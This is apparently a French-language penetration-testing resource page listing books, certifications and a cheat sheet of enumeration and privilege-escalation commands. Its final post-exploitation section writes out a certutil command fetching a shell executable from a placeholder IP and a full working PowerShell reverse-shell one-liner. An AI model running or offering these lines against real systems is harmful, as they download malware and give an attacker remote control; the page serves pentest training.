Ressources & Références

📚 Livres Essentiels

  • Metasploit: The Penetration Tester's Guide — Kennedy, O'Gorman, et al.
  • Hacking: The Art of Exploitation — Jon Erickson
  • Web Application Hacker's Handbook — Stuttard, Pinto
  • Penetration Testing — Georgia Weidman
  • The Hacker Playbook 3 — Peter Kim
  • Red Team Field Manual (RTFM) — Ben Clark

🎯 Certifications

  • CompTIA Security+ — Base de sécurité informatique
  • CompTIA PenTest+ — Tests de pénétration
  • CEH (Certified Ethical Hacker) — Ethical Hacking
  • OSCP (OffSec Certified Professional) — Pentest pratique
  • CRTP / CRTE — Active Directory attacks
  • GPEN — SANS GIAC Penetration Tester

🔗 Sites Utiles

⌨️ Commandes Essentielles

# === RÉSEAU ===
ifconfig / ip a              # Adresse IP
netstat -tulnp               # Ports ouverts
traceroute target            # Route
arp -a                       # Table ARP

# === ESCALADE LINUX ===
sudo -l                      # Droits sudo
find / -perm -4000 2>/dev/null # Binaires SUID
cat /etc/crontab             # Cron jobs
uname -a                     # Version noyau

# === ESCALADE WINDOWS ===
whoami /all                  # Contexte utilisateur
net user                     # Liste utilisateurs
net localgroup administrators # Admins locaux
systeminfo                   # Info système

# === POST-EXPLOITATION ===
# Upload d'un shell
certutil -urlcache -f http://IP/shell.exe shell.exe
# Reverse shell PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"